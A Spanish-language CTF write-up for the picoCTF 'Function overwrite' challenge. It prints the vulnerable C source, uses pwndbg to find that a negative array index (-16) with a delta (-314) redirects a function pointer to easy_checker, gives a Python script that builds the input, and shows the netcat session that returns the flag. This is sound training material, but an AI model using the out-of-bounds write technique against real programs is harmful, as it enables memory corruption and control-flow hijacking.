Function overwrite

August 16, 20255 minutes
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include <wchar.h>
#include <locale.h>
#define BUFSIZE 64
#define FLAGSIZE 64
int calculate_story_score(char *story, size_t len)
{
int score = 0;
for (size_t i = 0; i < len; i++)
{
score += story[i];
}
return score;
}
void easy_checker(char *story, size_t len)
{
if (calculate_story_score(story, len) == 1337)
{
char buf[FLAGSIZE] = {0};
FILE *f = fopen("flag.txt", "r");
if (f == NULL)
{
printf("%s %s", "Please create 'flag.txt' in this directory with your",
"own debugging flag.\n");
exit(0);
}
fgets(buf, FLAGSIZE, f); // size bound read
printf("You're 1337. Here's the flag.\n");
printf("%s\n", buf);
}
else
{
printf("You've failed this class.");
}
}
void hard_checker(char *story, size_t len)
{
if (calculate_story_score(story, len) == 13371337)
{
char buf[FLAGSIZE] = {0};
FILE *f = fopen("flag.txt", "r");
if (f == NULL)
{
printf("%s %s", "Please create 'flag.txt' in this directory with your",
"own debugging flag.\n");
exit(0);
}
fgets(buf, FLAGSIZE, f); // size bound read
printf("You're 13371337. Here's the flag.\n");
printf("%s\n", buf);
}
else
{
printf("You've failed this class.");
}
}
void (*check)(char*, size_t) = hard_checker;
int fun[10] = {0};
void vuln()
{
char story[128];
int num1, num2;
printf("Tell me a story and then I'll tell you if you're a 1337 >> ");
scanf("%127s", story);
printf("On a totally unrelated note, give me two numbers. Keep the first one less than 10.\n");
scanf("%d %d", &num1, &num2);
if (num1 < 10)
{
fun[num1] += num2;
}
check(story, strlen(story));
}
int main(int argc, char **argv)
{
setvbuf(stdout, NULL, _IONBF, 0);
// Set the gid to the effective gid
// this prevents /bin/sh from dropping the privileges
gid_t gid = getegid();
setresgid(gid, gid, gid);
vuln();
return 0;
}
El programa le pide al usuario un texto y 2 números, con ese texto lo que hace es validar si la suma total de todos los caracteres del texto es 13371337, si se cumple, muestra la flag. Esto lo hace llamando a check, que es como llamar directamente a hard_check,
void (*check)(char*, size_t) = hard_checker;
Esto es imposible, ya que solo deja escribir 128 caracteres y como máximo la suma de los 128 caracteres puede llegar a dar: 32640
>>> 0xff * 128
32640
Si check apuntara a easy_checker() si se podría cumplir la condición para que muestre la flag, ya que, easy_checker() le basta con que la suma de todos los caracteres del texto introducido de 1337, cosa que es asequible.
Volviendo a los números que parecía que no servían para nada…
if (num1 < 10)
{
fun[num1] += num2;
}
Se le está sumando a una posición de la array (especificada por el usuario) un valor (especificado por el usuario). Solo se hace la comprobación de que num1 sea menor a 10, pero no de que num1 sea mayor a 0 así que esto se puede aprovechar para escribir en posiciones negativas de la array afectando a otros valores que estén guardadas en el stack.
fun está definido muy cerca de check, así que no deben estar muy lejos en el stack.
void (*check)(char*, size_t) = hard_checker;
int fun[10] = {0};
Concretamente están a una distancia de 0x20 (32)
pwndbg> p &fun
$1 = (<data variable, no debug info> *) 0x804c080 <fun>
pwndbg> p &check
$2 = (<data variable, no debug info> *) 0x804c040 <check>
pwndbg> x/65xb 0x804c040
0x804c040 <check>: 0x36 0x94 0x04 0x08 0x00 0x00 0x00 0x00
0x804c048: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x804c050: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x804c058: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x804c060 <completed.7623>: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x804c068: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x804c070: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x804c078: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x804c080 <fun>: 0x00
pwndbg>
Una prueba que hice fue mandar de números -1 y 64, con eso pude comprobar que el 64 (0x40) se escribió en una dirección menor a fun
pwndbg> x/128xb 0x804c040
0x804c040 <check>: 0x36 0x94 0x04 0x08 0x00 0x00 0x00 0x00
0x804c048: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x804c050: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x804c058: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x804c060 <completed.7623>: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x804c068: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x804c070: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x804c078: 0x00 0x00 0x00 0x00 0x40 0x00 0x00 0x00
0x804c080 <fun>: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x804c088 <fun+8>: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x804c090 <fun+16>: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x804c098 <fun+24>: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x804c0a0 <fun+32>: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x804c0a8: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x804c0b0: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x804c0b8: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
Con esto también se puede ver que cada posición de la array ocupa 4 bytes así que para llegar a escribir en chek hay que escribir en la posición -16.
¿Pero qué hay que escribir?
En check por defecto hay 0x08049436 que es la dirección de hard_checker y el objetivo es que valga 0x080492fc.
En el programa está sumando el número que se le pasa (fun[num1] += num2;) así que habrá que pasar la diferencia entre las 2 direcciones.
>>> 0x080492fc - 0x08049436
-314
>>>
Quedando así:
fun[-16] += -314;
Antes:
pwndbg> p (void (*)(char *, size_t)) check
$2 = (void (*)(char *, size_t)) 0x8049436 <hard_checker>
Después:
pwndbg> p (void (*)(char *, size_t)) check
$3 = (void (*)(char *, size_t)) 0x80492fc <easy_checker>
Solo queda generar una string que la suma total de sus caracteres en ascii sume 1337.
string = ""
total_ascii = 0
max = 1337
while True:
if total_ascii + ord("A") < max:
string += "A"
total_ascii += ord("A")
else:
break
string += chr(max-total_ascii)
print(string)
[d3bo@archlinux ~]$ python3 /tmp/ascii.py
AAAAAAAAAAAAAAAAAAAA%
[d3bo@archlinux ~]$ nc saturn.picoctf.net 51869
Tell me a story and then I'll tell you if you're a 1337 >> AAAAAAAAAAAAAAAAAAAA%
On a totally unrelated note, give me two numbers. Keep the first one less than 10.
-16 -314
You're 1337. Here's the flag.
picoCTF{*****************ab5fc}